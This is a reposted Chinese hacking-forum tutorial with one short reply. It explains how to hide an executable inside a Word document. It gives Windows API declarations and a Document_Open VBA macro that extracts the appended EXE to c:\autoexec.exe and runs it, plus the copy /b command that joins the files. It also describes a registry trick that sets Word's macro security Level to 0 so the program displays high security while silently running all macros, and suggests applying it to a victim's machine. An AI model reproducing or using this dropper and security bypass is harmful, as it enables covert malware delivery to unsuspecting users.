返回列表 发帖

[转帖]EXE变成DOC

[这个贴子最后由黑色海岸线在 2005/04/05 10:48am 第 1 次编辑] 来源:http://www.hackblog.com/ 很多时候想做的东西不及时做出来,就会象这编文章一样迟迟才能发表出来,原来写好的稿子不知道已经不知道放到什么地方去了,这编是重新整理过的. 其实这种转换并不是文件格式上的变化,只不过是把一个EXE文件接在一个DOC文件的末尾而已,这个DOC文件当然就不是不同WORD的文档啦,该文档中包含了宏语句,能在运行的时候把接在自己文件末尾的EXE文件数据读取出来并运行,就造成一种假象,好象文档打开时就运行了EXE文件似的.(和文件捆绑器的原理很象啊!) 熟悉VB的朋友都知道,WORD的宏是使用VBA来编写的,具体语法和VB一样,但有些方法VB中没有,如宏病毒就是利用宏复制语句来达到感染的目的.和VB一样,我们可以在编写宏的时候调用WINDOWSAPI!!下面我们来介绍一下我们编写这个宏需要用到的API函数: 1)CreateFile用于打开文件,该函数VB的声明如下: DeclareFunctionCreateFileLib"kernel32"Alias"CreateFileA"(ByVallpFileNameAsString,ByValdwDesiredAccessAsLong,ByValdwShareModeAsLong,ByVallpSecurityAttributesAsLong,ByValdwCreationDistributionAsLong,ByValdwFlagsAndAttributesAsLong,ByValhTemplateAsLong)AsLong 2)CloseHandle用于关闭被打开文件的句柄,该函数VB的声明如下: DeclareFunctionCloseHandleLib"kernel32"(ByValhObjectAsLong)AsLong 3)ReadFile用于从被打开文件中读取数据,该函数VB的声明如下: DeclareFunctionReadFileLib"kernel32"(ByValhFileAsLong,lpBufferAsByte,ByValdwNumberOfBytesToReadAsLong,lpNumberOfBytesReadAsLong,ByVallpOverlappedAsLong)AsLong 4)WriteFile用于把读取出的数据写入文件,该函数VB的声明如下: DeclareFunctionWriteFileLib"kernel32"(ByValhFileAsLong,lpBufferAsByte,ByValdwNumberOfBytesToWriteAsLong,lpNumberOfBytesWrittenAsLong,ByVallpOverlappedAsLong)AsLong 5)SetFilePoniter移动文件指针,该函数VB的声明如下: DeclareFunctionSetFilePointerLib"kernel32"(ByValhFileAsLong,ByVallDistanceToMoveAsLong,ByVallpDistanceToMoveHighAsLong,ByValdwMoveMethodAsLong)AsLong 6)下面是以上函数的参数声明 PublicConstGENERIC_READAsLong=&H80000000 PublicConstGENERIC_WRITEAsLong=&H40000000 PublicConstFILE_SHARE_READAsLong=1 PublicConstFILE_SHARE_WRITEAsLong=2 PublicConstCREATE_NEWAsLong=1 PublicConstCREATE_ALWAYSAsLong=2 PublicConstOPEN_EXISTINGAsLong=3 PublicConstOPEN_ALWAYSAsLong=4 PublicConstTRUNCATE_EXISTINGAsLong=5 PublicConstINVALID_HANDLE_VALUEAsLong=-1 PublicConstFILE_ATTRIBUTE_NORMALAsLong=&H80 好了,有了这些准备工作就可以开始了,我们运行WORD2000,打开VISUALBASIC编辑器,新建一个模块,把上面的函数和参数声明拷进去!再回到“ThisDocument”的代码视图,选择DocumentOpen的事件,输入一下代码: PrivateSubDocument_Open() Dimbuffer(65536)AsByte Dimh,h2,j,i,kAsLong h=CreateFile(ThisDocument.Path&"/"&ThisDocument.Name,GENERIC_READ,FILE_SHARE_READ+FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0) ‘以SHARE_READ的方式打开自身的DOC文件 h2=CreateFile("c:\autoexec.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0) ‘新建一个EXE文件准备存放读取出来的数据. Ifh=INVALID_HANDLE_VALUEThen ExitSub EndIf k=SetFilePointer(h,32768,nil,0) ‘把文件指针移动到DOC文件与EXE文件交界处. Do i=ReadFile(h,buffer(0),65536,j,0) i=WriteFile(h2,buffer(0),j,j,0) LoopUntilj<65536 CloseHandle(h) CloseHandle(h2) Shell"c:\autoexec.exe" ‘运行EXE文件 EndSub 这样宏就编写好了,注意的地方就是上面SetFilePointer函数的使用部分:32768是你编写完宏保存好的DOC文件的文件大小,不一顶就是32768哦,大家注意! 大家可能有疑问,如何把EXE文件接到DOC文件后面呢?很简单,把你要接的EXE放到和这个DOC文件同一个目录下.运行DOC命令: copy/bxxxx.doc+xxxxx.exenewdoc.doc 这样就可以了~~~.当你打开这个NEWDOC.DOC的时候,宏就会把后面的EXE文件读出来并保存在C:\AUTOEXEC.EXE中,然后运行,是不是很恐怖啊!不过这需要你的WORD2000安全度为最低的时候才能实现,关于这个安全度的问题,我们又发现了微软的小BUG,大家看看注册表中这个键: HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security中的 Level值.当安全度是3(高)的时候,WORD不会运行任何的宏,2(中)的时候WORD会询问你是否运行宏,1(低)的时候WORD就会自动运行所有的宏!但很容易就被发现安全度被设为低了,聪明的你一定想到如果这个值变为0的时候会怎么样!!??对了!如果设为0的话,WORD里面就会显示安全度为高,但却能自动运行任何的宏!!是不是很夸张??和注册表编辑器的后门一样这都是MS的后门吧? 如果要受害人的机器接受你的DOC文件又能顺利运行,最重要就是把WORD的安全度在注册表中的值改为0,怎么改??方法太多了吧,单是IE的恶意代码能实现的都太多了,另外,如果网页上连接上是DOC的话,IE也会自动下载该DOC文件!危险的MS啊!! 这个算不算漏洞我不敢说,但防范真的很难,除非一天到晚监视着注册表,或者不用WORD?太消极了吧,最重要的是小心防范,陌生人的东西千万不要收!包括非EXE文件,我们现在发现了DOC文件能隐藏EXE文件,也会有人发现其他文件能隐藏EXE,所以大家千万要小心

[转帖]EXE变成DOC

恩,有空试试
不过函数调用不太清楚

TOP

返回列表 回复 发帖